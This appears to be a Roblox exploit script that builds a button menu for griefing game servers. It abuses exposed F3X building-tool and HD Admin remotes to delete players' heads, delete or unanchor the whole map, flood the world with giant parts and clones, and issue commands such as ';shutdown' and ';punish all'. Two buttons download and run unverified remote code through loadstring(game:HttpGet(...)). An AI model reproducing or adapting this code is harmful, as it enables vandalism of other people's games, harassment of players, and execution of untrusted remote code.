local function call(a)
return remote:InvokeServer(unpack(a))
end
local function newBall(pos)
local ball = remote:InvokeServer("CreatePart", "Ball", pos, workspace)
call({ "SyncAnchor", { { Part = ball, Anchored = false } } })
call({ "SyncColor", { { Part = ball, UnionColoring = false, Color = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255)) } } })
call({ "SetName", { ball }, "neon ball" })
call({ "SyncMaterial", { { Part = ball, Material = Enum.Material.Neon } } })
call({ "SetLocked", { ball }, true })
call({
"SyncResize",
{{
Part = ball,
Size = Vector3.new(270, 270, 270),
CFrame = ball.CFrame
}}
})
end
task.spawn(function()
while true do
task.wait(0.1)
local hrpcf = player.Character.HumanoidRootPart.CFrame
local x = hrpcf.x
local z = hrpcf.z
local randint = math.random(-600, 600)
local randint2 = math.random(-600, 600)
local xloc = randint + x
local zloc = randint2 + z
local cf = player.Character.HumanoidRootPart.CFrame.y + 400
task.spawn(function()
newBall(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc)))
end)
end
end)
end)
end;
task.spawn(C_30);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_32()
local script = G2L["32"];
script.Parent.MouseButton1Click:Connect(function()
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local character = player.Character
local player = game.Players.LocalPlayer
local char = player.Character
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local backpack = player.Backpack
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
-- get all info
local f3x = getf3x()
if not f3x then
warn("where yo btools at")
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Players = game:GetService("Players")
local workspace = game:GetService("Workspace")
local player = Players.LocalPlayer
local function findTools()
local char = player.Character or player.CharacterAdded:Wait()
for _, v in ipairs(char:GetChildren()) do
if v:IsA("Tool") and v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(player.Backpack:GetChildren()) do
if v:IsA("Tool") and v:FindFirstChild("SyncAPI") then
return v
end
end
end
local tool = findTools()
if not tool then return end
local remote = tool.SyncAPI.ServerEndpoint
local function call(a)
return remote:InvokeServer(unpack(a))
end
local function newBall(pos)
local ball = remote:InvokeServer("CreatePart", "Ball", pos, workspace)
call({ "SyncAnchor", { { Part = ball, Anchored = false } } })
call({ "SyncColor", { { Part = ball, UnionColoring = false, Color = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255)) } } })
call({ "SetName", { ball }, "neon ball" })
call({ "SyncMaterial", { { Part = ball, Material = Enum.Material.Neon } } })
call({ "SetLocked", { ball }, true })
call({
"SyncResize",
{{
Part = ball,
Size = Vector3.new(270, 270, 270),
CFrame = ball.CFrame
}}
})
end
task.spawn(function()
while true do
task.wait(0.1)
local hrpcf = player.Character.HumanoidRootPart.CFrame
local x = hrpcf.x
local z = hrpcf.z
local randint = math.random(-600, 600)
local randint2 = math.random(-600, 600)
local xloc = randint + x
local zloc = randint2 + z
local cf = player.Character.HumanoidRootPart.CFrame.y + 400
task.spawn(function()
newBall(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc)))
end)
end
end)
end)
end;
task.spawn(C_32);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_34()
local script = G2L["34"];
script.Parent.MouseButton1Click:Connect(function()
-- by picklelover
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local player = game.Players.LocalPlayer
local char = player.Character
local backpack = player.Backpack
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
local f3x = getf3x()
if not f3x then
warn("where yo btools at")
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local function delete(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
serverendpoint:InvokeServer(unpack(args))
end
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local player = game.Players.LocalPlayer
local char = player.Character
local backpack = player.Backpack
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
local f3x = getf3x()
if not f3x then
warn("where yo btools at")
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local function resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmaterial(part,mate,trans)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Material"] = mate
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function transparency(part,trans)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = trans
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function color(part, color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color,
["UnionColoring"] = false
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmeshid(part, id)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..id
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function makemesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmeshsize(part, vectora)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = vectora
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmeshtexture(part, id)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..id
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function name(part, stringa)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringa
}
serverendpoint:InvokeServer(unpack(args))
end
local function lock(part, boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
serverendpoint:InvokeServer(unpack(args))
end
local function setcollision(part, booleana)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = booleana
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function setanchor(part, boolean)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function fire2(part, color, color2)
local args = {
[1] = "SyncDecorate",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire",
["Size"] = 100,
["Color"] = color,
["SecondaryColor"] = color2
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function makefire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function createdecal(part, side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function setdecal(part, asset, side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local plrs = game:GetService("Players")
local Workspace = game:GetService("Workspace")
for _, player in pairs(plrs:GetPlayers()) do
local character = player.Character
if character and character:FindFirstChild("HumanoidRootPart") and character ~= plrs.LocalPlayer.Character then
local humanoidRootPart = character.HumanoidRootPart
-- yo
local position = humanoidRootPart.CFrame * CFrame.new(0, 0, 1)
task.spawn(function()
setanchor(character.Head, true)
task.wait(0.5)
local hellolol = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace)
color(hellolol, Color3.new(1, 0, 0))
name(hellolol, "REKT")
resize(hellolol, Vector3.new(2, 9, 2), position)
lock(hellolol, true)
makefire(hellolol)
fire2(hellolol, Color3.new(1, 0, 0), Color3.new(0, 0, 1))
task.wait(2.9)
delete(character.Head)
delete(hellolol)
end)
end
end
end)
end;
task.spawn(C_34);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_36()
local script = G2L["36"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";punish all")
end)
end;
task.spawn(C_36);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_38()
local script = G2L["38"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Unanchor()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
SetAnchor(false,v)
end)
end
end
Unanchor()
end)
end;
task.spawn(C_38);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_3a()
local script = G2L["3a"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";shutdown")
end)
end;
task.spawn(C_3a);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_3c()
local script = G2L["3c"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(7000, 7000, 7000))
SetLocked(v,true)
end
end
end
Sky("172423468")
end)
end;
task.spawn(C_3c);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_3e()
local script = G2L["3e"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";char all Natenea1254")
end)
end;
task.spawn(C_3e);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_40()
local script = G2L["40"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";titlep all X9D")
end)
end;
task.spawn(C_40);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript
local function C_43()
local script = G2L["43"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 112226782551255 ;pitch 0.1 ;volume 25")
end)
end;
task.spawn(C_43);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript
local function C_45()
local script = G2L["45"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 136201301642679 ;pitch 0.1 ;volume 25")
end)
end;
task.spawn(C_45);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript
local function C_47()
local script = G2L["47"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 72796362292502 ;pitch 0.1 ;volume 25")
end)
end;
task.spawn(C_47);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript
local function C_49()
local script = G2L["49"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 127653283576622 ;volume 25")
end)
end;
task.spawn(C_49);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript
local function C_4b()
local script = G2L["4b"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 95156028272944 ;volume 25 ;pitch 0.22")
end)
end;
task.spawn(C_4b);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript
local function C_4d()
local script = G2L["4d"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 139488665764275 ;volume 25 ")
end)
end;
task.spawn(C_4d);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
local function C_4f()
local script = G2L["4f"];
script.Parent.MouseButton1Click:Connect(function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
loadstring(game:HttpGet("https://api.rubis.app/v2/scrap/AYq8S0Er7HKVVs8S/raw"))()
end)
end;
task.spawn(C_4f);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
local function C_51()
local script = G2L["51"];
script.Parent.MouseButton1Click:Connect(function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
loadstring(game:HttpGet("https://api.rubis.app/v2/scrap/df1mYxm8y1LL7ED4/raw",true))()
end)
end;
task.spawn(C_51);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
local function C_53()
local script = G2L["53"];
script.Parent.MouseButton1Click:Connect(function()
-- Credits to whoever made the f3x call function template and credits to remote spy for some scripts xd
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Players = game:GetService("Players")
local workspace = game:GetService("Workspace")
local player = Players.LocalPlayer
local function findTool()
local char = player.Character or player.CharacterAdded:Wait()
for _, v in ipairs(char:GetChildren()) do
if v:IsA("Tool") and v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(player.Backpack:GetChildren()) do
if v:IsA("Tool") and v:FindFirstChild("SyncAPI") then
return v
end
end
end
local tool = findTool()
if not tool then return end
local remote = tool.SyncAPI.ServerEndpoint
local function call(a)
return remote:InvokeServer(unpack(a))
end
for _, stupidguy in ipairs(workspace:GetDescendants()) do
task.spawn(function()
call({ "CreateMeshes", { { Part = stupidguy } } })
end)
task.spawn(function()
call({
"SyncMesh",
{{
Part = stupidguy,
MeshId = "rbxassetid://12902786354",
}}
})
end)
game:GetService("RunService").Heartbeat:Connect(function()
local clonething = {
[1] = "Clone",
[2] = {
[1] = stupidguy
},
[3] = game.Workspace
}
remote:InvokeServer(unpack(clonething))
end)
end
end)
end;
task.spawn(C_53);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
local function C_55()
local script = G2L["55"];
script.Parent.MouseButton1Click:Connect(function()
--- f3x f.y.d
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";btools me")
task.wait(1.2)
RequestCommand:InvokeServer(";punish all")
task.wait(0.2)
local player = game.Players.LocalPlayer
local backpack = player.Backpack
local character = player.Character
local function getF3X()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then return v end
end
for _, v in ipairs(character:GetChildren()) do
if v:FindFirstChild("SyncAPI") then return v end
end
return nil
end
local f3x = getF3X()
if not f3x then
warn("F3X / SyncAPI not found – please equip btools and try again")
return
end
local syncapi = f3x.SyncAPI
local endpoint = syncapi.ServerEndpoint
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") or v:IsA("MeshPart") then
task.spawn(function()
pcall(function()
endpoint:InvokeServer("Remove", {v})
end)
end)
end
end
task.wait(1)
local function syncAnchor(ep, part, anchored)
ep:InvokeServer("SyncAnchor", {{Part = part, Anchored = anchored}})
end
local function batchResize(ep, tbl) if #tbl>0 then ep:InvokeServer("SyncResize", tbl) end end
local function batchMaterial(ep, tbl) if #tbl>0 then ep:InvokeServer("SyncMaterial", tbl) end end
local function batchColor(ep, tbl) if #tbl>0 then ep:InvokeServer("SyncColor", tbl) end end
local function batchCollision(ep, tbl) if #tbl>0 then ep:InvokeServer("SyncCollision", tbl) end end
local function createMesh(ep, part) ep:InvokeServer("CreateMeshes", {{Part = part}}) end
local function syncMeshType(ep, part, t) ep:InvokeServer("SyncMesh", {{Part = part, MeshType = t}}) end
local function syncMeshScale(ep, part, s) ep:InvokeServer("SyncMesh", {{Part = part, Scale = s}}) end
local function syncMeshOffset(ep, part, o) ep:InvokeServer("SyncMesh", {{Part = part, Offset = o}}) end
local function syncMeshId(ep, part, id) ep:InvokeServer("SyncMesh", {{Part = part, MeshId = id}}) end
local function syncMeshTexture(ep, part, tex) ep:InvokeServer("SyncMesh", {{Part = part, TextureId = tex}}) end
local function syncMeshVertexColor(ep, part, col) ep:InvokeServer("SyncMesh", {{Part = part, VertexColor = col}}) end
local function createDecal(ep, part, face) ep:InvokeServer("CreateTextures", {{Part = part, Face = face, TextureType = "Decal"}}) end
local function setDecalTexture(ep, part, tex, face) ep:InvokeServer("SyncTexture", {{Part = part, Face = face, TextureType = "Decal", Texture = tex}}) end
local function setDecalTransparency(ep, part, trans, face) ep:InvokeServer("SyncTexture", {{Part = part, Face = face, TextureType = "Decal", Transparency = trans}}) end
local function createTexture(ep, part, face) ep:InvokeServer("CreateTextures", {{Part = part, Face = face, TextureType = "Texture"}}) end
local function setTextureId(ep, part, tex, face) ep:InvokeServer("SyncTexture", {{Part = part, Face = face, TextureType = "Texture", Texture = tex}}) end
local function setTextureTransparency(ep, part, trans, face) ep:InvokeServer("SyncTexture", {{Part = part, Face = face, TextureType = "Texture", Transparency = trans}}) end
local function createLight(ep, part, lightType)
ep:InvokeServer("CreateLights", {{Part = part, LightType = lightType}})
end
local function syncLight(ep, part, lightType, brightness, range, color, shadows, face, angle)
local params = {Part = part, LightType = lightType}
if brightness ~= nil then params.Brightness = brightness end
if range ~= nil then params.Range = range end
if color then params.Color = color end
if shadows ~= nil then params.Shadows = shadows end
if face and face ~= "nil" then params.Face = face end
if angle ~= nil then params.Angle = angle end
ep:InvokeServer("SyncLighting", {params})
end
local function createGroup(ep, groupType, parent, items) return ep:InvokeServer("CreateGroup", groupType, parent, items) end
local function setName(ep, obj, name) ep:InvokeServer("SetName", {obj}, name) end
local function setLocked(ep, part, lock) ep:InvokeServer("SetLocked", {part}, lock) end
local P = {}
local partData = {
[8] = {anchored = true},
[9] = {anchored = true},
[10] = {anchored = true},
[11] = {anchored = true},
[12] = {anchored = true},
[14] = {anchored = true},
[15] = {anchored = true},
[16] = {anchored = true},
[17] = {anchored = true},
[18] = {anchored = true},
[21] = {anchored = true},
[22] = {anchored = true},
[23] = {anchored = true},
[24] = {anchored = true},
[25] = {anchored = true},
[26] = {anchored = true},
[27] = {anchored = true},
[28] = {anchored = true},
[29] = {anchored = true},
[30] = {anchored = true},
[31] = {anchored = true},
[32] = {anchored = true},
[33] = {anchored = true},
[34] = {anchored = true},
[35] = {anchored = true},
[36] = {anchored = true},
[37] = {anchored = true},
[38] = {anchored = true},
[39] = {anchored = true},
[40] = {anchored = true},
[41] = {anchored = true},
[42] = {anchored = true},
[43] = {anchored = true},
[44] = {anchored = true},
[45] = {anchored = true},
[46] = {anchored = true},
[151] = {anchored = true},
[673] = {anchored = true},
[685] = {anchored = true},
[706] = {anchored = true},
[561] = {anchored = true},
[667] = {anchored = true},
[675] = {anchored = true},
[736] = {anchored = true},
[519] = {anchored = true},
[700] = {anchored = true},
[510] = {anchored = true},
[587] = {anchored = true},
[464] = {anchored = true},
[611] = {anchored = true},
[571] = {anchored = true},
[635] = {anchored = true},
[166] = {anchored = true},
[435] = {anchored = true},
[555] = {anchored = true},
[175] = {anchored = true},
[663] = {anchored = true},
[579] = {anchored = true},
[657] = {anchored = true},
[470] = {anchored = true},
[767] = {anchored = true},
[491] = {anchored = true},
[607] = {anchored = true},
[631] = {anchored = true},
[770] = {anchored = true},
[473] = {anchored = true},
[694] = {anchored = true},
[615] = {anchored = true},
[428] = {anchored = true},
[575] = {anchored = true},
[627] = {anchored = true},
[501] = {anchored = true},
[479] = {anchored = true},
[676] = {anchored = true},
[595] = {anchored = true},
[656] = {anchored = true},
[648] = {anchored = true},
[78] = {anchored = true},
[461] = {anchored = true},
[669] = {anchored = true},
[82] = {anchored = true},
[72] = {anchored = true},
[540] = {anchored = true},
[703] = {anchored = true},
[619] = {anchored = true},
[751] = {anchored = true},
[522] = {anchored = true},
[204] = {anchored = true},
[114] = {anchored = true},
[525] = {anchored = true},
[270] = {anchored = true},
[664] = {anchored = true},
[745] = {anchored = true},
[670] = {anchored = true},
[732] = {anchored = true},
[271] = {anchored = true},
[532] = {anchored = true},
[671] = {anchored = true},
[268] = {anchored = true},
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[227] = {shape="Normal", cframe=CFrame.new(-45.48649215698242,7.691401481628418,-31306.1015625,-0.9634588956832886,-0.19387774169445038,0.18482273817062378,0.07243566960096359,-0.8528767824172974,-0.517063319683075,0.2578781247138977,-0.484781414270401,0.8357552886009216)},
[712] = {shape="Normal", cframe=CFrame.new(308.5553283691406,253.700927734375,-31288.724609375,0.3111003041267395,0.848175048828125,0.4287373125553131,-0.36560702323913574,-0.30959707498550415,0.8777706027030945,0.8772389888763428,-0.4298240542411804,0.21378302574157715)},
[96] = {shape="Normal", cframe=CFrame.new(-46.1259651184082,5.553707122802734,-31305.78125,-0.9470305442810059,-0.2907145321369171,-0.1364520788192749,-0.08153969794511795,0.628637969493866,-0.7734116911888123,0.3106209635734558,-0.7213181257247925,-0.6190441250801086)},
[546] = {shape="Normal", cframe=CFrame.new(213.43446350097656,151.74395751953125,-31295.1953125,-0.7380399703979492,0.2447793036699295,-0.6287926435470581,0.6719350218772888,0.18147708475589752,-0.7180317044258118,-0.06164783984422684,-0.9524437785148621,-0.29841312766075134)},
[724] = {shape="Normal", cframe=CFrame.new(295.4311218261719,266.8662109375,-31296.375,1,0,0,0,1,0,0,0,1)},
